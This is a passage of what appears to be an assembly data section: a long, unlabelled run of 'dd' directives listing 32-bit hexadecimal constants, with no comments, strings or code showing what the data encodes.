0C0486062h, 78003B9Ch, 7C55AF13h, 34BF32h, 8AC20B88h dd 74B8FDA0h, 0A5126300h, 1ED0B00Ah, 97690024h, 8B798703h dd 0B00F972h, 4DE6ACFDh, 0EC26FBh, 2897ADC3h, 51186D9Bh dd 883F1A07h, 47870723h, 599C3130h, 0ED060279h, 0E3C8CF3Ah dd 2B1E8C40h, 2D5CCB0Fh, 5D96403Dh, 0ED81CEh, 2AD78938h dd 1FD3BD5Eh, 11566524h, 79B02801h, 4ED0D2FDh, 0A92200B5h dd 0EC668DD7h, 0C20073DEh, 89E3E212h, 745FF137h, 0AB180024h dd 21475296h, 7DEE3D63h, 5D3845F2h, 0E3EC8020h, 890E9075h dd 554B0078h, 63CBB57Eh, 0BB0571C8h, 0EC4DED4Eh, 21B107AAh dd 78C6B3D0h, 0A4E0D5FBh, 960024D6h, 3EBC59CEh, 2EDD88h dd 3C5AF201h, 7EAB0FBh, 0ED97F000h, 1B13A4E8h, 0BECF1C49h dd 0B0DC072h, 19241FB5h, 5C4D4000h, 0EC7DFB50h, 2550018h dd 0F2D6D0EFh, 0FF00CEC7h, 5FCB424h, 5E8EA6h, 7C679911h dd 29158B35h, 477F4407h, 0A049145Bh, 58488D90h, 3E7E0111h dd 0C695C04Eh, 2DAC34A1h, 64976B00h, 88AA7C22h, 8759005Bh dd 147E6C71h, 7F7A098Eh, 0B5ECDA00h, 0F770D20Ch, 72AE00CDh dd 3F26834Ch, 8F028053h, 38EC3AC5h, 60E8A367h, 63EDC8C7h dd 0A09D0E27h, 0F3EEC4h, 0D0E6EA3Eh, 197AFE43h, 18D27E26h dd 0FE3F900h, 337C0D5h, 0E7946982h, 30B7685Ah, 0B735AFC2h dd 902481E0h, 0A7003DEDh, 0BECB6B45h, 0EED939B4h, 0DAA60A80h dd 88FC791Ch, 381F072Ch, 1CA630Eh, 0DE7C2134h, 0C557FCh dd 0D2CDFE84h, 0AAE3DA27h, 0DC553300h, 0FFA0E830h, 9F45034Eh dd 0E1CB70F0h, 0EE46A688h, 0AFB63814h, 7C738B4h, 3705CEDBh dd 57278FD0h, 2921004Ch, 58B81A78h, 0D51211B3h, 0B4400B5Ch dd 0A9821F8Ah, 46FB00A2h, 582CC101h, 1D00D1AFh, 66577D3Bh dd 98B865FEh, 77FF670h, 0A4418F4Dh, 9E068086h, 85FA265Eh dd 0C22B1C0Ch, 4639C7h, 8D2FF863h, 246E5C62h, 0A8181E60h dd 884C40h, 0F0C4F9CDh, 3470B3CBh, 6648151Bh, 3611D810h dd 5E7C78h, 9265CA60h, 4BA4BF25h, 6D7E7600h, 3EB07D16h dd 443F0762h, 70A7ECB6h, 9E9021Fh, 0A6ABCA04h, 0A0C13D52h dd 0ACE4674Dh, 0F90D2E9Ch, 0C48B00C8h, 0D273E66Bh, 17186F00h dd 9749EDA4h, 957CA3h, 890DFB59h, 8F8A531Ah, 0F5925A69h dd 9D493900h, 281C6DCCh, 1080A9BEh, 0AD198ED3h, 182B00B0h dd 0C35DB65Bh, 7E0D88Ah, 7E5F7F00h, 0BDED43B8h, 0C24D029Ah dd 824991B9h, 0C642F0E0h, 178BB500h, 0AD386B59h, 797B0094h dd 0E789FD64h, 75005CECh, 65C5DA85h, 672C33h, 39C7E8F9h dd 1A7354E3h, 7053E101h, 0C13C4877h, 3807E8h, 3A0EAFB3h dd 0CCE8356Fh, 0DB8AB800h, 0A8BB1929h, 0CE009517h, 0F57A54E6h dd 9952C00h, 0F34ABEC0h, 0C7C40742h, 0B070B920h, 2D61743Ah dd 7A395E00h, 110AA782h, 395F4C0h, 9A6BF02Fh, 66984750h dd 7600597Ch, 529DF301h, 8A25DBh, 863B276Ah, 8722DC21h dd 0C72A6D24h, 0F030A500h, 1E4070C8h, 4398E6h, 3D6FBDF3h dd 2DF09744h, 18244BE0h, 9F01F48Ch, 1D4C3804h, 172C5C24h dd 8EEE3Ch, 0B4583458h, 0E8A8C6FFh, 361F9703h, 6587F2BAh dd 649762B0h, 818C3230h, 17726Eh, 4B442567h, 36B758C6h dd 8BC2FD4Bh, 5C944083h, 8F741E7Dh, 0F092EE0h, 0C20F013h dd 11104351h, 4563BC04h, 1380BF3Ch, 0A6831Bh, 0CD67E089h dd 845B6085h, 0F834D803h, 0A0A0E229h, 0E01EEEh, 9FD12FB8h dd 79A0E3Fh, 5100547Bh, 0A609F805h, 5734FD0h, 0F2F408ACh dd 0A200CF3Bh, 0C4601A30h, 0C2FE7F08h, 3E6BF00h, 0FCC3EF12h dd 0FB701DBh, 0D0AE17B8h, 0C4A6D436h, 0B8903A7Ch, 8E5FBE00h dd 74AF7269h, 8C251E1Ah, 679B8078h, 70644C73h, 0A190310Eh dd 0F485C013h, 87121Fh, 6C8B26FEh, 0EE393220h, 93BBFD00h dd 8A8DFC1h, 0F897090Fh dd 9A806211h, 0F49A3B34h, 88044902h, 0C02BE6E5h, 14FD2Ah dd 0F10EA889h, 58BAB6A4h, 46504A00h, 0FDFC612h, 87F801D4h dd 0BCF07E8Ah, 62ACDC48h, 271C2400h, 0FCC944C4h, 14B70047h dd 0F26420D6h, 0E6FE23D8h, 5650A400h, 1A3CC4D5h, 4FB80011h dd 39C3D651h, 3200AA07h, 0E564B731h, 8E433Bh, 7D8512EDh dd 7C914DF8h, 0BB45DD38h, 0CF3C809Ch, 0A4BDE96Ah, 4CAA3BB7h dd 0CC340B00h, 0F6AC0133h, 0D2CF900h, 0FE07F170h, 2A87F85h dd 33A3B193h, 0DB806BE2h, 4B30A060h, 0C97A887Bh, 0AECD701h dd 59D02252h, 79BB4FD0h, 1550EEAh, 3A25CC7Bh, 0BDAAC04Ch dd 8F0056F0h, 107FB26Ah, 9E2BB6h, 1110766h, 0A2EA0A55h dd 0FC1FE400h, 0C0046E36h, 0DEC00E0h, 0CEAC0FDEh, 32003AC1h dd 0F6F880E3h, 7E0C5DBBh, 0E23C008Ch, 0CDD8EFAAh, 0C90777C4h dd 24254956h, 21DBD9A0h, 78E51F9Ch, 26DF80B4h, 0EB7BF3Ah dd 10CB5100h, 6158CE12h, 2EC700ECh, 6807AA06h, 6AF8017Dh dd 9525FC00h, 45362470h, 7CB303B6h, 7652DC53h, 2ABEF1E8h dd 2004FA00h, 0AB85698Dh, 0B348003Fh, 5787219Dh, 0A6307FE7h dd 0AC94D87Bh, 622300C3h, 583DBDB0h, 297CB2D0h, 3600C0F6h dd 2CAEA947h, 38A73Ah, 0DBD16418h, 38A2D4Bh, 9A542500h dd 9B3D3BCDh, 92760011h, 380907F6h, 62499A3h, 8D0082B7h dd 6682F94Bh, 462B0091h, 0A3C838CEh, 9D18E4A4h, 2044A181h dd 8D40072h, 0FE1FEE5Dh, 39004C86h, 55F896F4h, 0E4B181D7h dd 0BA970312h, 0B2CE0BDFh, 4042E1D9h, 0BC8056F7h, 7451EF03h dd 0D04C4F08h, 9F3F118h, 0D0572D30h, 9B613800h, 9E380BBEh dd 861F126Ch, 624B000Eh, 40095099h, 985CC28h, 15755843h dd 0DBCC04h, 2EDA507Ah, 39D93BF4h, 0FB8AB100h, 63B210FAh dd 0F8929B01h, 48748413h, 69F2C051h, 0EB2C20h, 0D87D2E3Ah dd 0BBE41BF5h, 0A4322F0Eh, 1E83471h, 0E7641C07h, 5CECD203h dd 8A7510h, 23502A4Ah, 69D0F09Bh, 72D83D19h, 93304430h dd 0EF1800A3h, 63FDDE07h, 58903E4Ch, 2D7E381Ch, 1B56DC0h dd 3011AF68h, 82382804h, 0DF0EFDFEh, 0E08E133Eh, 0F676C0F4h dd 226607ACh, 0F0CB7BF1h, 0FFC57161h, 0E721871Fh, 8E4CD785h dd 881E8400h, 0EF455D42h, 2755D4h, 3B71847Ch, 0C56896Fh dd 5C007B71h, 0D46AF105h, 6719A2h, 744AD188h, 84189FE1h dd 91108660h, 0B3D462h, 35C60F7Bh, 0BC50CADEh, 383AC273h dd 931600A2h, 0E3B4B7E0h, 0FED4041Ah, 0C08BDCA7h, 77471CD9h dd 0B0832600h, 377E0AACh, 0D2B10445h, 0C0CC0D72h, 6E12D358h dd 0FF31DF00h, 5B1F5DA7h, 4B810176h, 0DBFDB13Dh, 0A2843040h dd 5E351700h, 6A560A9Dh, 0B1CE3054h, 9078AC1Ah, 9680C00h dd 0F3D37952h, 0AE3A0465h, 8074CC9Ah, 0C6DE34E8h, 0B4363E00h dd 56CE80EFh, 1C03980Eh, 0C054E810h, 0EDEE7D0Bh, 0BE00C2CFh dd 0A2404682h, 37C1264h, 6D8F3808h, 198834F9h, 600FAC8h dd 0B16CC54h, 390E1C4Fh, 0FD8E7AC6h, 0CDC31802h, 0C098916Ah dd 590E6FDEh, 32F79Bh, 9D711715h, 8F4539F3h, 99B83D80h dd 94B603D5h, 59BBE10Fh, 5B6FA120h, 74F86DE9h, 330000Ah dd 1935BFC9h, 0DB3E1F9Eh, 23D460D4h, 469D98h, 0E0E2B6A3h dd 9C8A3705h, 0E4874A00h, 0AAB023EAh, 0CD0701FDh, 0C227D3ADh dd 0BC28DCA4h, 44D4AE13h, 8641680Ch, 0A160000Bh, 9FA85873h dd 0D1001D6Bh, 0A05256CCh, 272EE7h, 59A57D0Eh, 0A485F97Ch dd 0F80E9374h, 0C0446F16h, 1F5CDCFDh, 41810906h, 0F8013E33h dd 0CC630EADh, 1D00E1A5h, 73068791h, 1807A369h, 293D2367h dd 381DC5A8h, 0D50E5A7Fh, 0A2722033h, 0C09232FAh, 0A8302A7Eh dd 273F80C8h, 5CE8825Dh, 40EE620Ch, 1A9A428h, 3D641FE6h dd 62DD6E13h, 98440344h, 0B0DE530Ah, 40518EDh, 0BDE85177h dd 0CD10905Ah, 1033C42h, 874E8BF7h, 544098BAh, 4BEA00F2h dd 44B55132h, 8E00A73Fh, 765A69FCh, 1F36D79h, 9A6E7356h dd 0C4843410h, 9501C363h, 0ABAF6114h, 40E0F3CDh, 0F0AA0131h dd 0EC6E493Ch, 9B4C4CFh, 93473500h, 29EF183h, 57650038h dd 0D91EEFA7h, 17498E9h, 87844800h, 0DED702D4h, 0EB390094h dd 636D0CCCh, 560012F6h, 3E03F584h, 537942h, 18646177h dd 8CCFF187h, 865801F6h, 883F0E20h, 6C5C206Eh, 9F79FDh dd 54654E5Bh, 213C9089h, 0BAB2F839h, 0ADEA805Ah, 0CEC6116Dh dd 0EBFD09ACh, 968C4464h, 0AF0EC5A8h, 603D5816h, 0DA591D49h dd 8CBA1Eh, 63AC1582h, 8B97F567h, 2AF12D00h, 45AFC95Dh dd 56FF006Bh, 0EABA4655h, 0E1FB2D4h, 0A64224C1h, 4067E660h dd 7A8193E0h, 82C81D50h, 2093E2h, 67622D08h, 2A01FD8Fh dd 0ABEAF0FEh, 0E040A13Ch, 0F7DFB9D8h, 9C60CED5h, 95930C53h dd 8450C3D7h, 0E09E6207h, 36315ED6h, 12C873D9h, 23D4000Eh dd 0B689628h, 910074CFh, 701CD8B7h, 7001FBA1h, 0D3DF0A79h dd 0E8F6A3h, 8DFFC31Bh, 7D007F14h, 82641397h, 3A94A6h dd 9D1CAAEEh, 0E54108Bh, 8D6E3418h, 8CCC80h, 380BC85Ah dd 2240B855h, 1CE7C500h, 0F20A1853h, 1D120EAFh, 0C180B4EBh dd 0D9B6A4F0h, 8E7BCF00h, 69E12B58h, 38F8027Eh, 632EB524h dd 41778441h, 0F46898ECh, 5403BFCEh, 8CAF812Ah, 47D1B0F6h dd 0AA8A0229h, 9157DFA3h, 393C2B40h, 28178703h, 0B8EA9749h dd 601A9E38h, 6AE51026h, 25C3C3Eh, 0BDB7000Ch, 3A25F6C2h dd 5E9D00CAh, 0A2D0578h, 4D00197Ah, 15A3AC11h, 0EB5A1F0h dd 5A71EEEh, 0D95EFC00h, 422CA5C0h, 0D500D487h, 3A1BF8F6h dd 24E27E58h, 800CFB5Eh, 7B07A9CBh, 0C80615AFh, 9FF7C26Ah dd 86BB00D8h, 0A1698B6Eh, 42001631h, 1297768Dh, 445DFDh dd 70523EF0h, 0B654552Eh, 0AB48D072h, 0E4632850h, 8A1EF200h dd 3D4981A1h, 34660FADh, 6A2076D1h, 362E7AEDh, 8E1E4000h dd 5B4E7B5Dh, 0FBE40085h, 0CA7CD820h, 11001BDEh, 65232A51h dd 2DE092h, 5A62F1C5h, 4F6D821Ah, 0E0D9CA30h, 7F413FFCh dd 958600D4h, 10E8C348h, 4F284DF0h, 7600BFD6h, 0C2FC0A52h dd 0ED846CA5h, 3922DE30h, 8B824417h, 464EC893h, 9A332CC0h dd 90A2A81Ch, 0DF0912C1h, 0C70F33Ah, 7AA90BB5h, 5027308Ch dd 0EFF9903Bh, 34000944h, 139162F8h, 7FC703Ah, 941A2F2Bh dd 3FCA6027h, 0CC009752h, 0C78D393Dh, 0F4B59D29h, 0F06E5976h dd 0C011F207h, 4D0A807Ah, 87022603h, 357FFCE5h, 0D6D2412Ch dd 62024C28h, 790A64AEh, 3928D801h, 6B4DB07Fh, 4CEDC101h dd 8119536h, 48E8CAE0h, 0D7015363h, 0F9FCAA19h, 9E9D8C5h dd 1FA7D62Ch, 0E6DADC06h, 0AAA60410h, 8001FA7Ch, 27D7740h dd 696CB700h, 4534BC55h, 0D3C00072h, 0FFE0EDBDh, 0E53E4CB3h dd 874BBDBBh, 0F8017E09h, 609B27E2h, 7E5AA60Ch, 613F01B5h dd 0A7443DA1h, 9B2ECCE5h, 7651E100h, 9120DEB8h, 6E40056h dd 1DDF1C50h, 0F21E9B7Fh, 4BC133E8h, 0D87294A4h, 793A3470h dd 25C7882Fh, 0C43F3C00h, 8A7C4F9Eh, 3A310716h, 406AE103h dd 35C3789Ah, 0E3A53900h, 5080B449h, 9C9C50A1h, 8D02004Ah dd 0F89394D9h, 2A7FF060h, 377BFA00h, 0AA488372h, 974F0BFBh dd 0A0201498h, 0CD1C2CAEh, 99CF4B05h, 3C87A406h, 0ED5F3890h dd 774571FAh, 1E0AFA44h, 0E449B7DAh, 0A0803878h, 94DC1B09h dd 0F005D8Ch, 7405F16Dh, 0C985C3EDh, 0B820C890h, 2799A312h dd 3029B109h, 31D400ABh dd 1F110C57h, 189E3E4h, 19ACBA17h, 0EC34E94Ah, 0C25C94AFh dd 4B9Ch, 0DBFCFD7Bh, 3B76007Eh, 0ECC12F78h, 1561B175h dd 0A0309B96h, 3ED69240h, 87DF03F3h, 4CDE26BFh, 997AC580h dd 0DB617809h, 67D6A2h, 24708B25h, 9C004BE8h, 16C195E5h dd 0E7F632h, 0A15E2315h, 37F0F750h, 7B842800h, 42E4BD91h dd 95AB0E56h, 17A138E2h, 89DD7857h, 404764F0h, 3E5A3964h dd 2941BF9h, 0F703E8EAh, 941F1AD4h, 497C10A8h, 0D50F50B8h dd 20BF2F4Bh, 37AAB2ACh, 39E20093h, 0C7AF594Ch, 54B89833h dd 9F4F5C07h, 2664D0E6h, 609A10C2h, 17E81DE8h, 0B11CBh dd 2E2BF128h, 3409CAA6h, 8008502Fh, 40BC5AA8h, 0E89B0264h dd 476583AFh, 5370E07Fh, 324983Ch, 2D9AA4BEh, 70D049E9h dd 6800410Ah, 2881719Dh, 3F73054h, 4701EB7Fh, 63D8823Eh dd 0DF006C56h, 7E51B705h, 0B4333B3h, 1474BB88h, 6046DC00h dd 0D13838Ah, 6D1F907Ch, 23698C40h, 176E9187h, 637354h dd 9C920A94h, 6C1F41EAh, 7FC0BAD0h, 6D40E789h, 7810C0CEh dd 61ABCC7Ah, 2DC60F1Ch, 0AC12F281h, 9C241092h, 1FD7098Dh dd 3466E36Ah, 89222D3Ah, 804B38F5h, 4D559DD8h, 538E1DA5h dd 59D25Bh, 3464D854h, 331317B4h, 7C00C187h, 0B3674669h dd 0F8D107E3h, 0E713CA1Eh, 93E6206Eh, 0EE001B5Dh, 11973808h dd 7D6AC62h, 2C4325CEh, 5CC1059h, 1700C669h, 1D4F0C9Bh dd 0A31CEDDAh, 489AE08Ch, 0D61303D0h, 41B4F929h, 379F8CC0h dd 34CCD5Dh, 92A98C3h, 4110078h, 31EC72EBh, 4F3A8AE7h dd 30853BF8h, 621A219Eh, 0CCAC017Eh, 0BAFB8E66h, 0E3C980E8h dd 0C2C93A7Ah, 557C0359h, 9D5F2D7Bh, 6D9800CDh, 0CB7317A1h dd 91327E1Eh, 50C25500h, 79C85697h, 49B8A0C6h, 0D1CE506Ch dd 8580179h, 37B08F5Fh, 0D87EC91Bh, 6A3B88BBh, 3583001Eh dd 4BA4D860h, 0F60C00F7h, 14469349h, 8B13F27Bh, 9ABC4AD0h dd 0AE8F8700h, 0BBACF5FCh, 8351AD00h, 0BDC764F0h, 38730F85h dd 60320CEh, 41E8EE86h, 0E3019469h, 0DEE89117h, 95205C2Bh dd 0E5900118h, 5D73D5DBh, 8F3AE0A2h, 4A28D600h, 1D41A15Fh dd 10B46192h, 0E4A6C062h, 6A00CF46h, 0B94BE9BDh, 13D595B3h dd 99DC09h, 1A967AF0h, 10EA1D9h, 6EE906h, 0B6485657h, 8C9501FEh dd 0E68954EFh, 0F4FFEC47h, 0D5A4C10Fh, 4842A020h, 503AC5DEh dd 1FA1CC22h, 823B91A5h, 31707F5Eh, 6CE09A62h, 0F9009304h dd 0A35BC703h, 10F1Bh, 0F39EE55Dh, 404EA545h, 1484EE00h dd 0C0E07142h, 274763Ah, 1D10DBC6h, 0BEE318D6h, 706A6801h dd 79918BC3h, 0B0FBA9E8h, 241E7A2Ch, 1E0D4CBAh, 42729CB8h dd 0D405DD5Eh, 184F6160h, 70BA652Eh, 7B0EF000h, 74DBB0h dd 0FAF277A7h, 6E84A6C9h, 11AF1401h, 0F4FE96C6h, 3CE5CECh dd 0E8056316h, 0FFD83A3Eh, 94003B2Dh, 672561EEh, 40F119h dd 0B3E09A7Ch, 1B0F6543h, 6D995713h, 0E1669440h, 99E2BB5h dd 0F6CC3C8Dh, 4CF01468h, 59679000h, 808651DDh, 6AA700ADh dd 0BDDF4B9Dh, 21003414h, 8D712606h, 1849929Eh, 58D2C61Dh dd 390CBD85h, 0D88A4A2Eh, 6D2809DEh, 4AE2170h, 82CC5C80h dd 0AC059A0Fh, 5A5124F8h, 0CB1D1C80h, 0B8BE6FBh, 3B4A86A2h dd 3478F080h, 631CA574h, 1949C561h, 6AF060CCh, 41EE0706h dd 60F06D10h, 0E44B3FB1h, 0BDFEA4F8h, 523CCE01h, 9FBCB39Ch dd 55F2C840h, 8C718Ah, 844928D9h, 9A9844B4h, 0CBC9EB24h dd 7FD6E600h, 3B650885h, 5E007B33h, 0FC2CB9E8h, 200016B2h dd 392DFDC2h, 0C4CB69B0h, 0D019E5B8h, 9F2B2154h, 0C7EB600h dd 897C3E3Ah, 38EA1D7Dh, 7AFF4058h, 5991F6Fh, 2FF88CF2h dd 9D0EE7EEh, 0E30946F0h, 0D1167BBCh, 0DDD412C6h, 7E4B04EEh dd 0C07299D8h, 0B44FE694h, 1B018E00h, 73EFD9BAh, 0FBA800A4h dd 0F0DAB82Ch, 8B00B170h, 89DAC35h, 79CF657Ch, 9F7500DCh dd 0D4427D09h, 0B2EA83F6h, 0E082A100h, 8D7C5ACDh, 0E51E219h dd 69A07F1Fh, 0E3C3D582h, 5B4F91C0h, 594AAA01h, 2D03899Fh dd 8C801683h, 8490FAFDh, 3C1DE7E4h, 1542105Fh, 0E0DFE192h dd 44E915h, 74A08EE6h, 0B49A1D52h, 0CF4F6C00h, 0DF9B1316h dd 9222002Ah, 8339A7B3h, 0F40E4407h, 0C0CA5690h, 6CF7D173h dd 95480302h, 2350BDC2h, 5AB9E698h, 876788A0h, 56F26800h dd 97B3B76Ah, 0BEC403C7h, 0AEFD0DEAh, 0D93812A8h, 0AAE99A00h dd 92A483CDh, 0CC80E32h, 5160930Bh, 0D5558DCBh, 9E8C0600h dd 64A0ECE6h, 782D03F7h, 6317C10Ch, 0F025D398h, 9FA95200h dd 7F6010E1h, 9A5EF7h, 9B581E44h, 7E00D9D8h, 3835159Dh dd 4EB999h, 0EE8947Fh, 63376F8Dh, 1BB86460h, 0B8465C54h dd 6ECA01D7h, 0B3B817DBh, 828E7012h, 0FA02E700h, 63AFAB5Ch dd 8BBA0946h, 90A0DE07h, 6CA07DD2h, 0FB98FC74h, 8B48C09Ah dd 0D35D006Ah, 0E006F5D8h, 232900FBh, 2E46FA9Bh, 909EB377h dd 878BD6C0h, 0AC565EDCh, 0DA6C1C49h, 0CEA880FDh, 0E8264CD2h dd 98CB80Dh, 6E361F6Bh, 64B4B800h, 5C00B12Eh, 27C9A79Ah dd 91AA8346h, 0E85980A4h, 0DB2106Bh, 5841CE0Fh, 0AA5EC075h dd 119D80Ch, 0E74CDD8Eh, 0F8B2D39Fh, 0D50B6AE2h, 330381h dd 0B698353Fh, 0D89960CEh, 9F8D204Ch, 39007F77h, 7CDC8828h dd 39CA970h, 0BCCD691Dh, 85B01E67h, 72008C5Ah, 68CF7AA6h dd 5CDD21h, 1FFD9CBh, 3962A4D3h, 0E5C01000h, 475389B6h dd 3CB2782Fh, 0FF8002FBh, 6A29212h, 67006E74h, 0E2855C08h dd 1FDA0A75h, 0C069243Dh, 499A0430h, 0E600D6E0h, 0F8D5EA16h dd 31A22FAh, 0C08506F3h, 5498C420h, 5800627Ch, 872EDC12h dd 12C50E47h, 1194510h, 3B301604h, 212CC0A5h, 43E2BF07h dd 37C09B3Dh, 0F0E3C026h, 1A67550h, 0FA8C8239h, 3C60BDD0h dd 0F7790308h, 25ED2CFh, 7C8AA810h, 18E08E7Ah, 0AC9856FDh dd 16D0BC00h, 0FBBEBA4Dh, 0C462002Dh, 0E4A06D18h, 0F905A2D6h dd 0EFB7926Ah, 604B01C2h, 463BAF8h, 7AA04932h, 0F51480A6h dd 0CE004468h, 69437DF0h, 94D9F3Ah, 6C0EEB75h, 54921000h dd 7600FDF3h, 29CA5AEh, 133FC1Bh, 464789BCh, 0FC3935D1h dd 102129Ah, 548FA6B6h, 3D18C888h, 2D5DF820h, 0FC80B9D6h dd 8C9C2C3Bh, 0BA091300h, 0B8197051h, 0E983FBDh, 93145B00h dd 8934DA7Ah, 0F3C6C300h, 7DEC66B0h, 59651F71h, 5581076Bh dd 14CEB07Ah, 0B504442Fh, 79FC35A7h, 0FC6128F1h, 0C2CAB800h dd 292B834h, 298C180Fh, 0F5803E8Fh, 0C05E7701h, 0A81A0B30h dd 0EA5733D8h, 6CB2F3h, 59402DBFh, 9250D41Ch, 4E023C96h dd 4212603Ah, 70D274h, 27FDBAABh, 317F6713h, 804B253Dh dd 9389BBECh, 0BE6F0CFh, 0FF2BDE9h, 0C49038C2h, 671F1EFCh dd 0AF81BF58h, 0CDB1312Ah, 0D46BFCh, 7485E6A0h, 75405DE7h dd 0FA5294A0h, 2D41B400h, 1A4D25C6h, 329035Bh, 30E07C38h dd 60094BC9h, 5E449DD8h, 600C9905h, 0A9F64065h, 5DEFE300h dd 0A7F702D9h, 3107007h, 4E8EA5B3h, 92C07546h, 6E006F8Bh dd 0F0FC4A5Dh, 0E7052C4h, 89DECF85h, 90C7D4E7h, 0D6105CA7h dd 18C65500h, 0B5FD28Ah, 3C3A187Ah, 0EDCEA038h, 0E3D17E00h dd 0B04FE8CAh, 2BE426B5h, 676800D1h, 0F3413E44h, 5BFF7900h dd 0BF579146h, 17F43Ah, 0A6F7149Fh, 1987939Ch, 4B0281FAh dd 5C67AE42h, 0C3F8EAB6h, 2136C888h, 1AB424A6h, 866A9990h dd 0E428C9h dd 2CE67B55h, 42E8CB3h, 7AF314C0h, 67A5C3D4h, 10D916B8h dd 0C38B94A8h, 0A81CCF24h, 9633E100h, 2C2524E9h, 800CFEFCh dd 85F50482h, 8A9807E6h, 2A21DA00h, 43F6A687h, 0C3BD004Eh dd 0FD5F3735h, 5501AFE5h, 0B2393DBFh, 90842368h, 0CCDCBC66h dd 750F6D4Ch, 0E0985C49h, 376B8525h, 107D00F5h, 43299D0h dd 0EE24113Fh, 711FCC14h, 0BAE7A887h, 1B348240h, 0C3B870h dd 910F5AC2h, 17E1DF0Ah, 0EFF0117Eh, 0AB9C6F2Eh, 0D0078F3Bh dd 0C8BDC04Fh, 3A0E263Fh, 0BA0071D3h, 895FE2Dh, 0AC09AD05h dd 802F2AF6h, 0F580095Ah, 9FF40004h, 5CAE3602h, 5301B5ACh dd 28DDE377h, 43DD9560h, 442A4F21h, 38B2284h, 0C8720130h dd 382EC76h, 700624F9h, 83E048EDh, 97EC23E2h, 91CEF012h dd 4D00F7A8h, 1D86D06Fh, 0F11FA180h, 10F07244h, 0C7027Fh dd 380918B2h, 0F06A162Fh, 0AA4A250Fh, 985962CEh, 0EBF8A06Ch dd 0A84B47EFh, 0BA55D8h, 1CE8772Ah, 24A7E49h, 56C73700h dd 0C16217DAh, 6D77A5h, 52D8C6AEh, 0AC113E34h, 2F81B702h dd 7065AF13h, 0D3350764h, 632E78BBh, 5D8873DEh, 0F701820Ah dd 4EDCA056h, 869EEC99h, 0D0ACBBh, 6D7EEBC6h, 74010387h dd 5BB6AB73h, 7CF4116Ch, 9BAC1826h, 9EDD115Ah, 98F216FAh dd 0E8145724h, 8F90B007h, 7C3FC2F0h, 68B10039h, 0E46AA133h dd 0BF06BB1Ch, 0C1E17FA0h, 0A4C9820h, 9E2183CBh, 0F53EC0h dd 63CA1286h, 16FFF6A7h, 2798CDF6h, 6FDD3Fh, 58E0BEB2h dd 96C3B1h, 46E6955Ch, 2E9CCE41h, 0D9CA1D03h, 0A0C41B49h dd 17EC08h, 2632560Eh, 0B2AC7D6h, 0D83F7607h, 0E05F5A50h dd 31AB8A1Eh, 38E901CCh, 21C9BE5Dh, 0D4A4DC22h, 0E176B300h dd 0E547942Eh, 5E950423h, 8731AFD0h, 0AE2A306Ch, 91001299h dd 0D37CEBBAh, 2C137B87h, 9AA45A2h, 44803C62h, 8B8AAFBBh dd 0C5E92E07h, 0EB52B90Eh, 658C8069h, 1D203199h, 97C13583h dd 0ACF0C00Ch, 0A2181C2Dh, 0F2286A73h, 7721006Dh, 686B50EBh dd 0D103C8DBh, 4C763B80h, 0BB56A044h, 0C623053Fh, 829831E4h dd 7C51669Ch, 2ED46300h, 7DE1641h, 0D8AC219Bh, 0B38F1Ah dd 272C124Ch, 3F00E4C1h, 1FEBA235h, 0FAA559h, 0F0A32A4Ah dd 0A1D05F1Eh, 70CEDD00h, 7CB37516h, 0CB6C00EEh, 0A064037Dh dd 0A4F4FE5Ah, 7E7FAE0Bh, 125018Ah, 322A2052h, 0FF80B59Ch dd 0E732A2ACh, 61002894h, 9FFC1D9Dh, 1444ECBEh, 0B4B0E01Eh dd 19076300h, 83B12969h, 5D3BD400h, 0AA7BEEBAh, 15B513AEh dd 0F0CA28h, 2C9AC34Eh, 38538A4Ch, 0D62CDAD4h, 0EEDF00FEh dd 6427B3E5h, 17B1A800h, 28CAE056h, 747C2EE1h, 3E900F8h dd 2C343614h, 5FD9A9A0h, 3315DB00h, 65904ECAh, 4DF82Fh dd 0B3BB1B5h, 3008E505h, 1FDEB0C0h, 1986C37h, 112D62DCh dd 0F8C4CCB6h, 95FE8A34h, 380B5538h, 0FFB78022h, 58846F44h dd 0AB50070Ch, 208766F6h, 0D7E621F4h, 0C0F9D1FFh, 7300EC1Dh dd 8867038Ah, 9CE8EFh, 3D786EF2h, 900E75DFh, 5CAB9200h dd 0A999BE71h, 0D1A617E1h, 4614059Ah, 0C405FB30h, 0B800A381h dd 7CA887B9h, 0E7CF1D1Dh, 7DBA21h, 0D6912B35h, 0DA582A7Eh dd 0E9764100h, 6E2FB5F0h, 87683CB8h, 48005D4Ch, 854C2482h dd 3C03D5F9h, 0F6C4C061h, 395936Fh, 3B363121h, 81844B8Bh dd 0F02BF0DEh, 683CFC6Fh, 5C9204B3h, 50E8853Ah, 0BD6E1A01h dd 404AE6A9h, 5DCA1BF5h, 7C645300h, 0BA7949B5h, 0D46D00F7h dd 0CF0DE7EFh, 16030540h, 1304120Fh, 90A0012Fh, 0A721A5D0h dd 0BF9C2089h, 8F79AF3Fh, 0E04CF50Eh, 0EEEB0C9Ch, 100300A4h dd 98A53244h, 0CC001E6Ah, 0C7A50F8h, 1F542F3Bh, 401FFF5Ah dd 4562AECAh, 0E701B0B3h, 0C33C4ECCh, 709FD339h, 76598FEBh dd 0DA8041C0h, 48012647h, 0ECD49EB3h, 75E1BFF3h, 680ADCh dd 0ED5F3E20h, 0E9C6A94Ah, 0A19C4D00h, 0E276B5E8h, 0E1750927h dd 18703ECBh, 6AF6039h, 0A5C27BB6h, 1FF50084h, 9056976Fh dd 0D7001B47h, 0D39F77F1h, 0FCFFC20h, 41099949h, 215C6E02h dd 4334C8F8h, 8B1A06Dh, 31141578h, 0F6008812h, 986756E1h dd 0AE7C8562h, 1E67EC5Ch, 50C3027Ch, 98E684E5h, 1C1621h dd 9C8D4026h, 4E24A5E9h, 0DC8CAD00h, 0A4E8F213h, 0D74C0052h dd 616C22D1h, 0BA01E08Fh, 8C19E429h, 0F0D0EDB9h, 0A2991CE2h dd 0D98D00BEh, 0FBBDDF70h, 2CAB012Ch, 4AB5C804h, 4F4BA101h dd 0B54E052h, 0D1FF9500h, 18724791h, 0E7EE001Fh, 2BCDA555h dd 0A4008211h, 0E0C43692h, 5C9006h, 0AE812EF8h, 0D22066A2h dd 4B8CDE00h, 794E0E9Dh, 89EE3CF9h, 1CBF07F6h, 30416F69h dd 0DCA31A30h, 7F4FCC00h, 2A08E4A0h, 90FD00BCh, 5949377Ch dd 15BDF9Fh, 7EE4E003h, 0BA50A877h, 0A27401D6h, 633511FEh dd 0A8E870C0h, 31EA0516h, 70821900h, 5C795B6h, 8155722Dh dd 306CF073h, 9BD17717h, 0F3CC7200h, 0BCDC66AAh, 0E51F0248h dd 9050E7C2h, 38836903h, 0A0634B53h, 7CA5CD3Fh, 